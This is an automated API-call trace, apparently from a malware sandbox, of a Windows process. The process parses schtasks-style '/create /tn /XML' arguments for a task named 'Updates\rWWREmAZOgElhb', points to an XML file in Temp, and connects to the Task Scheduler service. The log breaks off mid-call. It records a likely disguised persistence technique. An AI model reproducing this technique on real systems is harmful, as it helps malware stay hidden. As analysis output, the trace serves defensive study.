[0206.762] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.762] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|d|") returned 3 [0206.762] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.762] lstrlenW (lpString="|d|") returned 3 [0206.762] lstrlenW (lpString="|TN|") returned 4 [0206.762] RtlRestoreLastWin32Error () returned 0x490 [0206.762] lstrlenW (lpString="m") returned 1 [0206.762] lstrlenW (lpString="m") returned 1 [0206.762] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.762] lstrlenW (lpString="TN") returned 2 [0206.762] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.762] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|m|") returned 3 [0206.762] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.762] lstrlenW (lpString="|m|") returned 3 [0206.762] lstrlenW (lpString="|TN|") returned 4 [0206.762] RtlRestoreLastWin32Error () returned 0x490 [0206.762] lstrlenW (lpString="i") returned 1 [0206.762] lstrlenW (lpString="i") returned 1 [0206.762] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.762] lstrlenW (lpString="TN") returned 2 [0206.762] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.762] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|i|") returned 3 [0206.762] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.762] lstrlenW (lpString="|i|") returned 3 [0206.762] lstrlenW (lpString="|TN|") returned 4 [0206.762] RtlRestoreLastWin32Error () returned 0x490 [0206.763] lstrlenW (lpString="tn") returned 2 [0206.763] lstrlenW (lpString="tn") returned 2 [0206.763] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.763] lstrlenW (lpString="TN") returned 2 [0206.763] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.763] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|tn|") returned 4 [0206.763] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.763] lstrlenW (lpString="|tn|") returned 4 [0206.763] lstrlenW (lpString="|TN|") returned 4 [0206.763] StrStrIW (lpFirst="|tn|", lpSrch="|TN|") returned="|tn|" [0206.763] RtlRestoreLastWin32Error () returned 0x0 [0206.763] RtlRestoreLastWin32Error () returned 0x0 [0206.763] lstrlenW (lpString="Updates\\rWWREmAZOgElhb") returned 22 [0206.763] lstrlenW (lpString="-/") returned 2 [0206.763] StrChrIW (lpStart="-/", wMatch=0x770055) returned 0x0 [0206.763] RtlRestoreLastWin32Error () returned 0x490 [0206.763] RtlRestoreLastWin32Error () returned 0x490 [0206.763] RtlRestoreLastWin32Error () returned 0x0 [0206.763] lstrlenW (lpString="Updates\\rWWREmAZOgElhb") returned 22 [0206.763] StrChrIW (lpStart="Updates\\rWWREmAZOgElhb", wMatch=0x3a) returned 0x0 [0206.763] RtlRestoreLastWin32Error () returned 0x490 [0206.763] RtlRestoreLastWin32Error () returned 0x0 [0206.763] lstrlenW (lpString="Updates\\rWWREmAZOgElhb") returned 22 [0206.763] RtlRestoreLastWin32Error () returned 0x0 [0206.763] RtlRestoreLastWin32Error () returned 0x0 [0206.763] lstrlenW (lpString="/XML") returned 4 [0206.763] lstrlenW (lpString="-/") returned 2 [0206.763] StrChrIW (lpStart="-/", wMatch=0x77002f) returned="/" [0206.763] lstrlenW (lpString="create") returned 6 [0206.763] lstrlenW (lpString="create") returned 6 [0206.763] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.764] lstrlenW (lpString="XML") returned 3 [0206.764] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.812] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|create|") returned 8 [0206.812] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.812] lstrlenW (lpString="|create|") returned 8 [0206.812] lstrlenW (lpString="|XML|") returned 5 [0206.812] StrStrIW (lpFirst="|create|", lpSrch="|XML|") returned 0x0 [0206.812] RtlRestoreLastWin32Error () returned 0x490 [0206.812] lstrlenW (lpString="?") returned 1 [0206.812] lstrlenW (lpString="?") returned 1 [0206.812] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.812] lstrlenW (lpString="XML") returned 3 [0206.812] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.812] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|?|") returned 3 [0206.812] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.812] lstrlenW (lpString="|?|") returned 3 [0206.812] lstrlenW (lpString="|XML|") returned 5 [0206.812] RtlRestoreLastWin32Error () returned 0x490 [0206.812] lstrlenW (lpString="s") returned 1 [0206.813] lstrlenW (lpString="s") returned 1 [0206.813] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.813] lstrlenW (lpString="XML") returned 3 [0206.813] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.813] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|s|") returned 3 [0206.813] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.813] lstrlenW (lpString="|s|") returned 3 [0206.813] lstrlenW (lpString="|XML|") returned 5 [0206.813] RtlRestoreLastWin32Error () returned 0x490 [0206.813] lstrlenW (lpString="u") returned 1 [0206.813] lstrlenW (lpString="u") returned 1 [0206.813] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.813] lstrlenW (lpString="XML") returned 3 [0206.813] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.813] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|u|") returned 3 [0206.813] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.813] lstrlenW (lpString="|u|") returned 3 [0206.813] lstrlenW (lpString="|XML|") returned 5 [0206.813] RtlRestoreLastWin32Error () returned 0x490 [0206.813] lstrlenW (lpString="p") returned 1 [0206.813] lstrlenW (lpString="p") returned 1 [0206.813] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.813] lstrlenW (lpString="XML") returned 3 [0206.813] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.813] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|p|") returned 3 [0206.813] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.813] lstrlenW (lpString="|p|") returned 3 [0206.813] lstrlenW (lpString="|XML|") returned 5 [0206.813] RtlRestoreLastWin32Error () returned 0x490 [0206.813] lstrlenW (lpString="ru") returned 2 [0206.814] lstrlenW (lpString="ru") returned 2 [0206.814] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.814] lstrlenW (lpString="XML") returned 3 [0206.814] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.814] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|ru|") returned 4 [0206.814] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.814] lstrlenW (lpString="|ru|") returned 4 [0206.814] lstrlenW (lpString="|XML|") returned 5 [0206.814] RtlRestoreLastWin32Error () returned 0x490 [0206.814] lstrlenW (lpString="rp") returned 2 [0206.814] lstrlenW (lpString="rp") returned 2 [0206.814] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.814] lstrlenW (lpString="XML") returned 3 [0206.814] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.814] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|rp|") returned 4 [0206.814] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.814] lstrlenW (lpString="|rp|") returned 4 [0206.814] lstrlenW (lpString="|XML|") returned 5 [0206.814] RtlRestoreLastWin32Error () returned 0x490 [0206.814] lstrlenW (lpString="sc") returned 2 [0206.814] lstrlenW (lpString="sc") returned 2 [0206.814] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.814] lstrlenW (lpString="XML") returned 3 [0206.814] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.814] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|sc|") returned 4 [0206.814] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.815] lstrlenW (lpString="|sc|") returned 4 [0206.815] lstrlenW (lpString="|XML|") returned 5 [0206.815] RtlRestoreLastWin32Error () returned 0x490 [0206.815] lstrlenW (lpString="mo") returned 2 [0206.815] lstrlenW (lpString="mo") returned 2 [0206.815] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.815] lstrlenW (lpString="XML") returned 3 [0206.815] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.815] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|mo|") returned 4 [0206.815] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.815] lstrlenW (lpString="|mo|") returned 4 [0206.815] lstrlenW (lpString="|XML|") returned 5 [0206.815] RtlRestoreLastWin32Error () returned 0x490 [0206.815] lstrlenW (lpString="d") returned 1 [0206.815] lstrlenW (lpString="d") returned 1 [0206.815] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.815] lstrlenW (lpString="XML") returned 3 [0206.815] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.815] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|d|") returned 3 [0206.815] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.815] lstrlenW (lpString="|d|") returned 3 [0206.815] lstrlenW (lpString="|XML|") returned 5 [0206.815] RtlRestoreLastWin32Error () returned 0x490 [0206.815] lstrlenW (lpString="m") returned 1 [0206.815] lstrlenW (lpString="m") returned 1 [0206.815] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.815] lstrlenW (lpString="XML") returned 3 [0206.815] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.816] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|m|") returned 3 [0206.816] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.816] lstrlenW (lpString="|m|") returned 3 [0206.816] lstrlenW (lpString="|XML|") returned 5 [0206.816] RtlRestoreLastWin32Error () returned 0x490 [0206.816] lstrlenW (lpString="i") returned 1 [0206.816] lstrlenW (lpString="i") returned 1 [0206.816] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.816] lstrlenW (lpString="XML") returned 3 [0206.816] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.816] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|i|") returned 3 [0206.816] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.816] lstrlenW (lpString="|i|") returned 3 [0206.816] lstrlenW (lpString="|XML|") returned 5 [0206.816] RtlRestoreLastWin32Error () returned 0x490 [0206.816] lstrlenW (lpString="tn") returned 2 [0206.816] lstrlenW (lpString="tn") returned 2 [0206.816] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.816] lstrlenW (lpString="XML") returned 3 [0206.816] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.816] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|tn|") returned 4 [0206.816] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.817] lstrlenW (lpString="|tn|") returned 4 [0206.817] lstrlenW (lpString="|XML|") returned 5 [0206.817] RtlRestoreLastWin32Error () returned 0x490 [0206.817] lstrlenW (lpString="tr") returned 2 [0206.817] lstrlenW (lpString="tr") returned 2 [0206.817] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.817] lstrlenW (lpString="XML") returned 3 [0206.817] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.817] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|tr|") returned 4 [0206.817] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.817] lstrlenW (lpString="|tr|") returned 4 [0206.817] lstrlenW (lpString="|XML|") returned 5 [0206.817] RtlRestoreLastWin32Error () returned 0x490 [0206.817] lstrlenW (lpString="st") returned 2 [0206.817] lstrlenW (lpString="st") returned 2 [0206.817] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.817] lstrlenW (lpString="XML") returned 3 [0206.817] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.817] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|st|") returned 4 [0206.817] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.817] lstrlenW (lpString="|st|") returned 4 [0206.817] lstrlenW (lpString="|XML|") returned 5 [0206.817] RtlRestoreLastWin32Error () returned 0x490 [0206.817] lstrlenW (lpString="sd") returned 2 [0206.817] lstrlenW (lpString="sd") returned 2 [0206.817] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.817] lstrlenW (lpString="XML") returned 3 [0206.818] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.818] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|sd|") returned 4 [0206.818] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.818] lstrlenW (lpString="|sd|") returned 4 [0206.818] lstrlenW (lpString="|XML|") returned 5 [0206.818] RtlRestoreLastWin32Error () returned 0x490 [0206.818] lstrlenW (lpString="ed") returned 2 [0206.818] lstrlenW (lpString="ed") returned 2 [0206.818] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.818] lstrlenW (lpString="XML") returned 3 [0206.818] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.818] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|ed|") returned 4 [0206.818] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.818] lstrlenW (lpString="|ed|") returned 4 [0206.818] lstrlenW (lpString="|XML|") returned 5 [0206.818] RtlRestoreLastWin32Error () returned 0x490 [0206.818] lstrlenW (lpString="it") returned 2 [0206.818] lstrlenW (lpString="it") returned 2 [0206.818] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.818] lstrlenW (lpString="XML") returned 3 [0206.818] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.818] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|it|") returned 4 [0206.818] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.818] lstrlenW (lpString="|it|") returned 4 [0206.818] lstrlenW (lpString="|XML|") returned 5 [0206.818] RtlRestoreLastWin32Error () returned 0x490 [0206.818] lstrlenW (lpString="et") returned 2 [0206.818] lstrlenW (lpString="et") returned 2 [0206.818] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.818] lstrlenW (lpString="XML") returned 3 [0206.818] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.819] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|et|") returned 4 [0206.819] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.819] lstrlenW (lpString="|et|") returned 4 [0206.819] lstrlenW (lpString="|XML|") returned 5 [0206.819] RtlRestoreLastWin32Error () returned 0x490 [0206.819] lstrlenW (lpString="k") returned 1 [0206.819] lstrlenW (lpString="k") returned 1 [0206.819] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.819] lstrlenW (lpString="XML") returned 3 [0206.819] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.819] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|k|") returned 3 [0206.819] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.819] lstrlenW (lpString="|k|") returned 3 [0206.819] lstrlenW (lpString="|XML|") returned 5 [0206.819] RtlRestoreLastWin32Error () returned 0x490 [0206.819] lstrlenW (lpString="du") returned 2 [0206.819] lstrlenW (lpString="du") returned 2 [0206.819] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.819] lstrlenW (lpString="XML") returned 3 [0206.819] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.819] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|du|") returned 4 [0206.819] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.819] lstrlenW (lpString="|du|") returned 4 [0206.819] lstrlenW (lpString="|XML|") returned 5 [0206.819] RtlRestoreLastWin32Error () returned 0x490 [0206.819] lstrlenW (lpString="ri") returned 2 [0206.819] lstrlenW (lpString="ri") returned 2 [0206.819] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.819] lstrlenW (lpString="XML") returned 3 [0206.820] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.820] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|ri|") returned 4 [0206.820] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.820] lstrlenW (lpString="|ri|") returned 4 [0206.820] lstrlenW (lpString="|XML|") returned 5 [0206.820] RtlRestoreLastWin32Error () returned 0x490 [0206.820] lstrlenW (lpString="z") returned 1 [0206.820] lstrlenW (lpString="z") returned 1 [0206.820] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.820] lstrlenW (lpString="XML") returned 3 [0206.820] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.820] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|z|") returned 3 [0206.820] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.820] lstrlenW (lpString="|z|") returned 3 [0206.820] lstrlenW (lpString="|XML|") returned 5 [0206.820] RtlRestoreLastWin32Error () returned 0x490 [0206.820] lstrlenW (lpString="f") returned 1 [0206.820] lstrlenW (lpString="f") returned 1 [0206.820] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.820] lstrlenW (lpString="XML") returned 3 [0206.820] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.820] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|f|") returned 3 [0206.820] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.820] lstrlenW (lpString="|f|") returned 3 [0206.820] lstrlenW (lpString="|XML|") returned 5 [0206.820] RtlRestoreLastWin32Error () returned 0x490 [0206.820] lstrlenW (lpString="v1") returned 2 [0206.820] lstrlenW (lpString="v1") returned 2 [0206.821] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.821] lstrlenW (lpString="XML") returned 3 [0206.821] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.821] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|v1|") returned 4 [0206.821] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.821] lstrlenW (lpString="|v1|") returned 4 [0206.821] lstrlenW (lpString="|XML|") returned 5 [0206.821] RtlRestoreLastWin32Error () returned 0x490 [0206.821] lstrlenW (lpString="xml") returned 3 [0206.821] lstrlenW (lpString="xml") returned 3 [0206.821] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.821] lstrlenW (lpString="XML") returned 3 [0206.821] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.821] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|xml|") returned 5 [0206.821] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|XML|") returned 5 [0206.821] lstrlenW (lpString="|xml|") returned 5 [0206.821] lstrlenW (lpString="|XML|") returned 5 [0206.821] StrStrIW (lpFirst="|xml|", lpSrch="|XML|") returned="|xml|" [0206.821] RtlRestoreLastWin32Error () returned 0x0 [0206.821] RtlRestoreLastWin32Error () returned 0x0 [0206.821] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.821] lstrlenW (lpString="-/") returned 2 [0206.821] StrChrIW (lpStart="-/", wMatch=0x770043) returned 0x0 [0206.821] RtlRestoreLastWin32Error () returned 0x490 [0206.821] RtlRestoreLastWin32Error () returned 0x490 [0206.821] RtlRestoreLastWin32Error () returned 0x0 [0206.821] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.821] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", wMatch=0x3a) returned=":\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp" [0206.821] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.821] _memicmp (_Buf1=0x417428, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.821] _memicmp (_Buf1=0x41ad08, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.822] RtlRestoreLastWin32Error () returned 0x7a [0206.822] RtlRestoreLastWin32Error () returned 0x0 [0206.822] RtlRestoreLastWin32Error () returned 0x0 [0206.822] lstrlenW (lpString="C") returned 1 [0206.822] RtlRestoreLastWin32Error () returned 0x490 [0206.822] RtlRestoreLastWin32Error () returned 0x0 [0206.822] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.822] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.822] GetProcessHeap () returned 0x410000 [0206.822] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x6a) returned 0x416a60 [0206.822] RtlRestoreLastWin32Error () returned 0x0 [0206.822] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.822] RtlRestoreLastWin32Error () returned 0x0 [0206.822] GetProcessHeap () returned 0x410000 [0206.822] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x1fc) returned 0x419e08 [0206.822] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0206.827] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0206.851] CoCreateInstance (in: rclsid=0xd026c0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xd026d0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdd39c | out: ppv=0xdd39c*=0x773758) returned 0x0 [0207.283] TaskScheduler:ITaskService:Connect (This=0x773758, serverName=0xdd34c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdd35c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xdd36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdd37c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0207.376] TaskScheduler:ITaskService:GetFolder (in: This=0x773758, Path=0x0, ppFolder=0xdd464 | out: ppFolder=0xdd464*=0x773880) returned 0x0 [0207.378] CreateFileW 